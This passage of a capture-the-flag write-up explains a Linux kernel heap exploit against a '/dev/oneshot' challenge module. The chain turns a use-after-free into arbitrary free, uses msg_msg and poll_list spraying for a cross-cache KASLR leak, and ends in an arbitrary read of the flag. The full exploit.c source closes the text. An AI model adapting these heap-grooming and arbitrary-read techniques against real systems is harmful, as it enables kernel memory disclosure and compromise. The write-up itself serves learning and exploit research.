however with msg_msg we only have partial overwrite at offset +0x30 and as such we're not able to edit its headers.
to gain more partial overwrite, we can utilize msg_segment which able to control the data at offset +0x8.
to do this, we need to free it once more, and spray it with msg of size bigger than a page
ioctl_free();for(int i = SPRAY_WIDTH; i < SPRAY_WIDTH*2; i++) { msqid[i] =create_msg_queue();memset(buffer, i,sizeof(buffer));send_msg(msqid[i], MSG_SIZE+0x1000-0x18, buffer); }_pause_("msg_msg sprayed [2]");
and as we can see below, the chunk now filled with the segment section.
with this, we're able to corrupt the msg_msgheaders and craft our own msg_msg .
however this is not enough to immidiately read the flag, since kaslr is enabled we need some sort of leak, but without copy_to_user() how are we able to gain leaks?
Failed Leak Attempt
before moving on to the leak method that I use, I wanted to discuss some of the failed attempts to better understand the constraint that we have.
first, some diagram to understand what we currently have:
my first thought is that since we have arbitrary free on the red chunk, we can free it and allocate another object on it that potentially has kernel addresses.
if that's possible we can then peek at said msg_msg and we'll also read the msg_segment region thus leak the addresses.
however this comes with certain constraints:
the object has to be size of kmalloc-4k
the first 8 byte of the object has to be null, or valid address if the segment is more than 2 pages (essentially forming a valid linked list)
I tried msg_msg since it has heap addresses on it, however the first 8 byte is not null and the kernel panics when I tried to peek from it.
I also tried to construct the msg_segment to be more than 2 pages such that *next is linked suitable for msg_msg as its first 8 byte is an address, however this also results in kernel panic.
I then tried to look for other kernel objects that satisfy the constraints but found nothing.
next, I tried to free the segment before peeking to leak the freelist pointer, but hardened freelist is enabled (I didn't read the compile config lol)
Cross Cache Leak
the idea of this came from a blog that my teammate shares
I suggest you to read the whole blog, but the gist of it that is relevant to the current exploit is the following:
Poll Syscall
poll_list objects, are allocated in kernel space when we use the poll() syscall to monitor activity on one or more file descriptors.
The poll_list structure, is composed by a pointer to the next poll_list[1], a length field, corresponding to the number of pollfd structures in the entries array [2], and entries, a flexible array of pollfd structures [3]. Each entry is 8 bytes in size.
do_sys_poll() has two paths, a slow and a fast path. As we can see at the beginning of the function, stack_pps[1], a buffer of 256 bytes, is defined. It is used to store the first 30 pollfd entries [2]. This is the fast path: entries are stored on the stack to save memory and improve speed.
If we submit more than 30 pollfd entries, we enter the slow path and the remaining ones are allocated on kernel heap. This means that if we do the math correctly, controlling the number of monitored file descriptors, we can control the allocation size, ranging from kmalloc-32 to kmalloc-4k. [4]
It is possible to allocate a maximum of POLLFD_PER_PAGE (510) entries per page. [3] If this limit is exceeded, a new poll_list is allocated to store the remaining entries and it is connected to the previous one in a singly linked list. The for loop continues until all entries have been stored in kernel memory.
so with the poll syscall, we're able to allocate user controlled sized kernel chunk. with 30 of its entries stored in the stack and the remaining in the said kernel allocated chunk with structure similar to that of msg_segment with the first 8 byte is a pointer forming a singly linked list.
to allocate to its maximum size of 1 page, 510 entries is needed, any remaining entries will be allocated more and forming a singly linked list. for example to allocated a kmalloc-4k and kmalloc-0x20 chunk we can poll with 542 (30 + 510 + 2) entries.
another thing is that, the allocated chunk will be freed once it timeouts.
with this in mind, my idea is to construct a fake msg_segment with poll_list that links to a 0x20 cache, poll_list will then be freed upon timeout, we can then spray objects of size 0x20 that contains addresses to leak, since the pointer to said 0x20 chunk is still intact in the fake msg_segment we can peek at it, thus reading an active 0x20 chunk.
lets see this in action, first construct a two allocated msg_segment as follow:
free the first segment, and then spray poll_list to reused the chunk, we expected to have as below:
then we spray objects size 0x20, we have options such as seq_operations and shm_file_data, but seq_operations wont work because of the constraint I mentioned earlier, the first 8 byte must be null.
shm_file_data is also convenient as it has both kernel address and heap address, compared to seq_operations that only has kernel address.
which I also referenced from this writeup
so we spray shm_file_data and now our chunks will results in the following:
this can also be verified in gdb:
and thus as we peek from it, leaks are viable.
Final steps
with the address leaked, we can now perform arbitrary read using corrupted msg_msgdiscussed in overview, but its turns out that the flag is stored in the modules addresses which is not continous to kernel .text
so before reading the flag, we need to leak the kernel module's base address, I just thought the mapping must be stored somewhere in kernel .text and it surely is
one last thing, as we perform arbitrary read, the msg_msg will cast the address we're reading to msg_segment this means, we also need to satisfy the first 8 byte to be null constraint to avoid kernel panic (considering the msg segment size is only 1 page).
so with arbitrary read, we will be reading slightly behind the target address that contains a null
here's the exploit being ran againts the remote server
here's the full exploit script:
exploit.c
#include"libpwn.c"#defineDEVICE"/dev/oneshot"#defineKALLOC0x13370001#defineKFREE0x13370002#defineSPRAY_WIDTH30#defineKOBJ_SIZE0x1000#defineMSG_SIZE (KOBJ_SIZE -0x30)#defineMSG_TWO_SEGMENT_SIZE (MSG_SIZE+0x1000-0x8+0x20)#defineMSG_ONE_SEGMENT_SIZE (MSG_SIZE+0x1000-0x18)#definePOLL_NFDS542#defineFLAG_ADDR (kmodule_base + (0x21c0))#defineEGG0x4141414141414100int fd;u64 kmodule_base;struct pollfd *pfds;char buffer[0x2000];int msqid[SPRAY_WIDTH*6];voidioctl_alloc(char* data) {if (ioctl(fd, KALLOC, data)<0) {error("ioctl_alloc"); }}voidioctl_free() {if (ioctl(fd, KFREE,0)<0) {error("ioctl_free"); }}void*alloc_poll() {int ret =poll(pfds, POLL_NFDS,3000);}intmain() { fd =open(DEVICE, O_RDWR);if (fd <0) {panic("open"); }// ===========================// UAF -> ARB FREE// ===========================ioctl_alloc(buffer);ioctl_free();for(int i =0; i < SPRAY_WIDTH; i++) { msqid[i] =create_msg_queue(); ((u64 *)buffer)[0] = EGG + i;send_msg(msqid[i], MSG_SIZE, buffer); }_pause_("msg_msg sprayed [1]");ioctl_free();for(int i = SPRAY_WIDTH; i < SPRAY_WIDTH*2; i++) { msqid[i] =create_msg_queue();memset(buffer, i,sizeof(buffer));send_msg(msqid[i], MSG_TWO_SEGMENT_SIZE, buffer); }_pause_("msg_msg sprayed [2]");// ===========================// SPRAY poll_list// ===========================ioctl_free(); pfds =calloc(POLL_NFDS,sizeof(struct pollfd));for(int i =0; i < POLL_NFDS; i++) { pfds[i].fd =open("/etc/passwd", O_RDONLY); pfds[i].events = POLLERR; }pthread_t t[SPRAY_WIDTH];for(int i =0; i < SPRAY_WIDTH; i++) {pthread_create(&t[i],NULL, alloc_poll,NULL); }sleep(5); // wait for poll_list to be freed_pause_("pollfd sprayed");// ===========================// SPRAY shm_file_data// ===========================int shmid =shmget(IPC_PRIVATE,0x1000,0600);info2("shmid: %d", shmid);for(int i =0; i <200; i++) {assert(shmid >=0);void*addr =shmat(0,NULL,0); // only shmid 0 because the first 8 bytes needs to be NULLassert((long)addr >=0); }_pause_("shmid sprayed");// ===========================// GAIN LEAK// ===========================char* leak = (char*) peek_msg(msqid[30], MSG_TWO_SEGMENT_SIZE);// dump_hex(leak, MSG_SEGMENT_SIZE); u64 heap = ((u64 *)leak)[1019]; kbase = ((u64 *)leak)[1020] -0x121a6c0;info2("heap", heap);info2("kbase", kbase); // ===========================// LEAK KERNEL MODULE BASE// ===========================for(int i = SPRAY_WIDTH*2; i < SPRAY_WIDTH*3; i++) { msqid[i] =create_msg_queue(); ((u64 *)buffer)[0] = EGG + i;send_msg(msqid[i], MSG_SIZE, buffer); }_pause_("msg_msg sprayed [3]");ioctl_free();memset(buffer,0,sizeof(buffer)); u64 *payload = (u64 *)&buffer[MSG_SIZE];for(int i = SPRAY_WIDTH*3; i < SPRAY_WIDTH*4; i++) { msqid[i] =create_msg_queue(); payload[1] =0x1; payload[2] =0xfd0+0x60; payload[3] = kbase+0x180d0a0-0x8; // just a little behind to satisfy constraint *next is NULL payload[4] = heap; payload[5] = EGG +0xff;send_msg(msqid[i], MSG_ONE_SEGMENT_SIZE, buffer); }_pause_("msg_msg sprayed [4]"); leak = (char*) peek_msg(msqid[0],0xfd0+0x60);// dump_hex(leak, 0xfd0+0x60); kmodule_base = ((u64 *)leak)[507]; // ===========================// ARB READ FLAG// ===========================ioctl_free();for(int i = SPRAY_WIDTH*4; i < SPRAY_WIDTH*5; i++) { msqid[i] =create_msg_queue(); ((u64 *)buffer)[0] = EGG + i;send_msg(msqid[i], MSG_SIZE, buffer); }_pause_("msg_msg sprayed [5]");ioctl_free();memset(buffer,0,sizeof(buffer)); payload = (u64 *)&buffer[MSG_SIZE];for(int i = SPRAY_WIDTH*5; i < SPRAY_WIDTH*6; i++) { msqid[i] =create_msg_queue(); payload[1] =0x1; payload[2] =0xfd0+0x60; payload[3] = FLAG_ADDR-0x20; // just a little behind to satisfy constraint *next is NULL payload[4] = heap; payload[5] = EGG +0xff;send_msg(msqid[i], MSG_ONE_SEGMENT_SIZE, buffer); }_pause_("msg_msg sprayed [6]"); leak = (char*) peek_msg(msqid[0],0xfd0+0x60);// dump_hex(leak, 0xfd0+0x60);printf("[*] flag: %s\n",&leak[0xff0]);_pause_("end of exploit...");}